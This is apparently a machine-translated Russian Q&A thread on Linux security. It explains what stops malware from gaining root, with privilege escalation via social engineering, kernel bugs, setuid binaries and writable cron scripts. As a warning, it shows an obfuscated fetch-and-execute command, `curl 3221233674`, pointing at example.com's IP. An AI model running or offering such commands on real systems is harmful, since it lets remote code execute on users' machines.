Я понимаю, что если какая-либо вредоносная программа проникнет в систему Linux, она, в лучшем случае, получит привилегию на уровне пользователя и разрушит все, что находится в пределах досягаемости конкретного пользователя, то есть собственные файлы пользователя.
Но что именно мешает вредоносным программам получить доступ на уровне root? Разве это не может как-то взломать пароль изнутри?
Ответы:
Это сложный вопрос. В системе Ubuntu существует множество различных уровней безопасности, от сложных сред, таких как AppArmor, до простых переменных ядра, таких как
mmap_min_addr
. Вы можете добавить некоторые функции ядра, такие как рандомизация памяти в миксе. Вы можете найти их список вместе с краткими пояснениями в Ubuntu Wiki .Другим важным фактором является то, что обновления выполняются быстро и просто - поэтому большинство компьютеров будут обновлены до последних исправлений безопасности.
Насколько я знаю, у злоумышленника, получившего локальный доступ к вашему компьютеру, есть три способа масштабирования привилегий ядра:
Взломай пароль. Но это будет действительно сложно, пароль хранится в зашифрованном виде с использованием алгоритмов без известных недостатков. Потребуются века, чтобы взломать это.
Ошибка в ядре. Но все функции безопасности ядра будут мешать.
Уловка пользователя, чтобы выдать пароль, то есть социальная инженерия. Просто покажите диалог с фальшивым паролем или воспользуйтесь другим приемом. Это самый простой способ сделать это.
Третий момент - самая слабая уязвимость на данный момент.
источник
sudoers
.Взломать пароль пользователя root невозможно, потому что Ubuntu по умолчанию отключил пользователя root. Однако, если ваш пользователь может стать пользователем root с помощью sudo, а ваш пароль легко угадать / перебор, значит, у вас небезопасная система. Пример скрипта, пытающегося проверить пароль:
Добавление ненадежного репозитория позволяет устанавливать программы из этого репозитория. Даже если вы явно не устанавливаете подобное приложение
sudo apt-get install [app-from-repo]
, репозиторий может по-прежнему влиять на другие программы, заставляя Ubuntu полагать, что репозиторий содержит более новую версию определенной программы.Процесс обновления запускается с правами root, иначе файлы не могут быть записаны в
/usr/bin
или/etc
. Триггер установки также запускается от имени пользователя root и может запускаться произвольно, а возможно, и вредными командами. Теперь не беспокойтесь, для обновления программ необходимы ручные действия, а репозитории Ubuntu безопасны. Программное обеспечение с закрытым исходным кодом, такое как Windows, никогда не может быть полностью доверенным, поскольку вы не можете проверить источник на наличие вредоносного кода, но вы можете просмотреть источник приложения Ubuntu, если вам нужно (не относится к проприетарным программам, таким какsun-java6
или Flash).Как упомянул Хавьер Ривера, ошибки в ядре могут привести к выполнению произвольного кода, но программное обеспечение с ошибками, возможно, также опасно, особенно глючные
setsuid
корневые двоичные файлы (двоичные файлы, которые будут работать под владельцем файла, root) и другие ошибочные программы, работающие от имени root.Вы можете создать дыры в безопасности своей системы, если не обращаете внимания на то, что делаете. Например, не полностью понимая концепцию cronjobs, вы добавили cronjob, к
/etc/cron.daily
которому запускается программа в вашей домашней папке (например,/bin/sh /home/your-username/myscript.sh
если файл myscript.sh доступен для записи вами, вы можете удалить его, эксплойт может привести к вредоносному ПО). код, вmyscript.sh
котором будет выполняться от имени пользователя root (повышение привилегий).Чтобы оставаться в безопасности, используйте свой разум! Не запускайте команды из ненадежных источников, если вы не знаете, что он делает. Если кто-то говорит «беги
`curl 3221233674`
с галочкой», не надо. 3221233674 - это еще один способ записи192.0.32.10
(IP-адрес example.com). Таким образом, это будет равно:Эти обратные галочки заставляют вывод выполняться как команды оболочки. На простом английском языке: «Загрузите страницу http://example.com/ и попробуйте выполнить загруженную страницу».
Во-первых, в данной команде вы не увидите ничего вредоносного. Но теперь вы знаете, что этим тоже можно злоупотреблять.
Всегда проверяйте команды / сценарии, которые вы получаете из ненадежных источников, таких как Интернет.
источник